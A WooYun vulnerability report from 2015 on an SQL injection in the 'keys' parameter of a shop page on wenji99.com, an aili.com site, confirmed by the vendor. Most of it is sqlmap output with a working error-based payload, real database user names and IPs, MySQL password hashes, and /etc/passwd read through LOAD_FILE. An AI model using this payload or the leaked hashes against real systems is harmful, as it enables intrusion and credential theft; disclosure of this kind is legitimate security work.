当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0140506

漏洞标题:爱丽网某主站点SQL注入一枚(可执行命令)

相关厂商:aili.com

漏洞作者: 爱上平顶山

提交时间:2015-09-11 15:41

修复时间:2015-10-26 16:34

公开时间:2015-10-26 16:34

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-11: 细节已通知厂商并且等待厂商处理中
2015-09-11: 厂商已经确认,细节仅向厂商公开
2015-09-21: 细节向核心白帽子及相关领域专家公开
2015-10-01: 细节向普通白帽子公开
2015-10-11: 细节向实习白帽子公开
2015-10-26: 细节向公众公开

简要描述:

2333

详细说明:

爱丽网
http://bangong.aili.com
新站点:http://www.wenji99.com
点:
http://www.wenji99.com/?m=shop&keys=

http://www.wenji99.com/?m=shop&keys=%27
select grade,a.company,a.main_pro,a.userid,a.user,a.tel,a.area,a.logo,a.addr,b.sellerpoints,b.name from mb_shop a left join mb_member b on a.userid=b.userid WHERE a.shop_statu=1 and (a.company regexp ''') order by rank,userid descYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''') order by rank,userid desc' at line 1


sqlmap identified the following injection points with a total of 195 HTTP(s) requests:
---
Place: GET
Parameter: keys
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: m=shop&keys=') AND (SELECT 2510 FROM(SELECT COUNT(*),CONCAT(0x3a6a726c3a,(SELECT (CASE WHEN (2510=2510) THEN 1 ELSE 0 END)),0x3a6e6a793a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('UCKw'='UCKw
Vector: AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: keys
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: m=shop&keys=') AND (SELECT 2510 FROM(SELECT COUNT(*),CONCAT(0x3a6a726c3a,(SELECT (CASE WHEN (2510=2510) THEN 1 ELSE 0 END)),0x3a6e6a793a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('UCKw'='UCKw
Vector: AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
database management system users [189]:
[*] 'alback'@'124.248.32.32'
[*] 'gb001'@'61.130.101.86'
[*] 'gbback'@'115.238.168.170'
[*] 'gbzs'@'115.238.168.165'
[*] 'root'@'127.0.0.1'
[*] 'root'@'localhost'
[*] 'zsback'@'115.238.168.165'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: keys
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: m=shop&keys=') AND (SELECT 2510 FROM(SELECT COUNT(*),CONCAT(0x3a6a726c3a,(SELECT (CASE WHEN (2510=2510) THEN 1 ELSE 0 END)),0x3a6e6a793a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('UCKw'='UCKw
Vector: AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
database management system users password hashes:
[*] alback [1]:
password hash: *CAB11C92F3789BC7BB4E52D51E1B4DD0C19AEB0D
[*] gb001 [1]:
password hash: *CAB11C92F3789BC7BB4E52D51E1B4DD0C19AEB0D
[*] gbback [1]:
password hash: *D489DD5221DC022A5821388F41E42C0970D967A2
[*] gbzs [1]:
password hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[*] root [1]:
password hash: *CAB11C92F3789BC7BB4E52D51E1B4DD0C19AEB0D
[*] zsback [1]:
password hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: keys
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: m=shop&keys=') AND (SELECT 2510 FROM(SELECT COUNT(*),CONCAT(0x3a6a726c3a,(SELECT (CASE WHEN (2510=2510) THEN 1 ELSE 0 END)),0x3a6e6a793a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('UCKw'='UCKw
Vector: AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
available databases [3]:
[*] information_schema
[*] mysql
[*] wenji
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: keys
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: m=shop&keys=') AND (SELECT 2510 FROM(SELECT COUNT(*),CONCAT(0x3a6a726c3a,(SELECT (CASE WHEN (2510=2510) THEN 1 ELSE 0 END)),0x3a6e6a793a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('UCKw'='UCKw
Vector: AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: keys
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: m=shop&keys=') AND (SELECT 2510 FROM(SELECT COUNT(*),CONCAT(0x3a6a726c3a,(SELECT (CASE WHEN (2510=2510) THEN 1 ELSE 0 END)),0x3a6e6a793a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('UCKw'='UCKw
Vector: AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
ls [1]:
@@version: '5.1.73-log'
database(): 'wenji'
SELECT LOAD_FILE('/etc/passwd');: 'root:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/spool/mail:/sbin/nologin\nuucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\ngames:x:12:100:games:/usr/games:/sbin/nologin\ngopher:x:13:30:gopher:/var/gopher:/sbin/nologin\nftp:x:14:50:FTP User:/var/ftp:/sbin/nologin\nnobody:x:99:99:Nobody:/:/sbin/nologin\ndbus:x:81:81:System message bus:/:/sbin/nologin\nvcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin\nrpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin\nabrt:x:173:173::/etc/abrt:/sbin/nologin\nsaslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin\npostfix:x:89:89::/var/spool/postfix:/sbin/nologin\nrpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin\nnfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin\nhaldaemon:x:68:68:HAL daemon:/:/sbin/nologin\nntp:x:38:38::/etc/ntp:/sbin/nologin\nsshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin\ntcpdump:x:72:72::/:/sbin/nologin\noprofile:x:16:16:Special user account to be us


0.jpg


1.jpg


SELECT LOAD_FILE('/etc/hosts');: '127.0.0.1 localhost localhost.localdomain
localhost4 localhost4.localdomain4\n::1 localhost localhost.localdomain
localhost6 localhost6.localdomain6\n'
sql-shell>
ok

漏洞证明:

···

修复方案:

过滤

版权声明:转载请注明来源 爱上平顶山@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-09-11 16:32

厂商回复:

不把洞洞改完,绝不下战场

最新状态:

暂无


漏洞评价:

评论

  1. 2015-09-26 18:01 | 茫茫涯 ( 路人 | Rank:0 漏洞数:1 | 郑州工作,从事网络安全工作和程序设计)

    高价收购OD 联系QQ:1291806522